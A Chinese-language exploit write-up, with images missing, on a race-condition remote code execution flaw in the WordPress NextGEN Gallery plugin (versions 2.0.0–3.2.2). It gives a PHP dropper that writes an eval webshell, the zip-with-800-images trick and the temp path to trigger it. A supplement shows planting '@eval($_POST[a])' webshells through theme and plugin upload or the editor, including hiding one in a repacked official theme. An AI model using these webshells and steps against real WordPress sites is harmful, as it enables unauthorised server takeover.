Nextgen-Gallery條件競爭getshell
插件歷史版本地址:https://wordpress.org/plugins/nextgen-gallery/advanced/
這是今年7月份左右公布的條件競爭RCE,出現(xiàn)在熱門圖形管理插件nextgen-gallery上,3.2.2以前版本通用(筆者測試適用范圍下限應(yīng)該是2.0.0,即影響范圍2.0.0-3.2.2),最新版本3.2.18(截至筆者發(fā)稿)。
<?php
file_put_contents('../../a.php', '<?php @eval($_REQUEST["a"]);?>');
?>
將木馬和圖片(>800張)壓縮在一塊:

使用nextgen-gallery上傳:

查看當(dāng)前生成的臨時目錄:

得到我們的create.php路徑:
http://127.0.0.1/wordpress4912/wp-content/uploads/unpacked-php12A.tmp/payload/create.php
訪問使其執(zhí)行,,將會生成如下文件:

接下來,你明白我的意思吧:

參考鏈接:https://medium.com/websec/wordpress-nextgen-gallery-race-condition-to-rce-d64695ef3d5c
到這里了,側(cè)面再確認(rèn)下,如果我們沒有造成條件競爭會如何?
界面回復(fù)圖像獲取失敗,臨時文件不會保留,當(dāng)然這也完全符合正常的開發(fā)邏輯。

補充
Wordpress后臺上傳Getshell的常規(guī)方法其實已經(jīng)公開多年了,在此順便簡單回顧下:簡單歸納就是Wordpress的插件和主題功能均支持上傳或在線編輯功能造成了getshell。
上傳Getshell

上傳一個壓縮了木馬的zip,或者在官方主題中加入木馬重新打包然后上傳稍隱蔽些。

木馬文件出現(xiàn)在如下位置:
http://127.0.0.1/wordpress321/wp-content/themes/zhuti/zhuti.php

同理插件功能:

木馬文件出現(xiàn)在如下位置:
http://127.0.0.1/wordpress321/wp-content/plugins/chajian/chajian.php
編輯Getshell
打開任意想要更改的主題組件:

在php標(biāo)簽內(nèi)插入木馬:
@eval($_POST[a]);
提交更改,如下成功:

在這里查看當(dāng)前選擇主題,當(dāng)前選擇的編輯文件:

從而得到我們的木馬路徑:
http://127.0.0.1/wordpress321/wp-content/themes/twentyeleven/404.php

同理插件編輯

http://127.0.0.1/wordpress321/wp-content/plugins/akismet/akismet.php